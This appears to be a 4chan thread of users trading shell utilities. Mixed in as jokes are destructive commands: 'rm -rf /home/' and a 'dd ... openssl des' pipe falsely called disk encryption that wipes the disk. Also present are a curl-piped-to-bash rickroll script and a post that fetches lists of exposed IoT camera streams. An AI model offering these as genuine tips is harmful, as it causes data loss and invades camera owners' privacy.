Post your useful shell utilities, aliases and functions.
rm -rf /home/
https://sourceforge.net/projects/suicide-linux/
>>62183092
sudo rm rf xddddd
>put my hood up
>pull out my thinkpad
>plug in one of the school computer monitors into it.
>open two terminals, one on each screen
>type "tree" in one, and "top" in the other
>>62183113
lol
>>62183193
Htop is superior
dd if= /dev/sda | openssl des | sudo dd of=/dev/sda
full disk encryption top kek
>>62183092
Vagrant box IOT expliot commands use vpn
git.io/c4
pics
(curl -Ls git.io/c4 | shuf | head -n1)
Camera
(curl -Ls git.io/c4 | grep videostream | shuf | head -n1 | cut -d "/" -f3)
hardware cmds
lscpu.
The lscpu command reports information about the cpu and processing units.
...
lshw - List Hardware.
...
hwinfo - Hardware Information.
...
lspci - List PCI
....
lsscsi - List scsi devices.
...
lsusb - List usb buses and device details.
...
Inxi.
...
lsblk - List block devices
>>62183343
>shuf | head -n1
Just use shuf -n1
#!/bin/sh
sessions=`tmux list-session -F '#S'`
[ "$?" = "0" ] && line=`echo $sessions | dmenu -i -l 10`
[ "$?" = "0" ] && exec tmux attach -t $line
>>62183392
yeah
>>62183480
hey thats actually cool
merge 2 pictures.#!/usr/bin/env rc
for(i in $*){
n=($n `{basename $i})
s=($s `{identify -format %[fx:w] $i})
}
a=($1 $2)
n=($n merged.png)
if(test $s(1) -lt $s(2))
a=($2 $1)
convert $a -gravity center -background none -append $^n
printf 'THIS IS BAIT\n\n /\n \\/\n\n ><(((°> ' | convert -border 25 -bordercolor black -background black -fill white -font Liberation-Mono-Bold -pointsize 96 label:@- x:
curl -s -L https://raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh | bash
>>62183092
mpstat
vmstat
iotop
sar
lsof
strace
ipcs
These are the basics which could assist you with troubleshooting. There are dozens more but I like the ones above.
i done use a shell because I'm not a home of sexual
function vnfo() # View .nfo file;
{
iconv --from-code 437 --to-code UTF8 "$1" | less;
}
I copied this from /g/ some years ago
>>62183991cat image1.jpg image2.jpg > merged.jpg
:^)
>>62184308
using iconv to convert old Windows codepage encodings to UTF-8
>>62184422
Yes that's what this bash function does. Call it like this$> vnfo $NFOFILE
For downloading /b/ dumps4chan-dl () {
while true; do
wget -e robots=off -nc -c -r -nd --no-use-server-timestamps \
-A "*[^s].jpg,.jpeg,.png,.gif,.webm" -D 'is2.4chan.org' -np "$1"
sleep 10
done
}
>>62184238
nice one, haven't been rick rolled in a while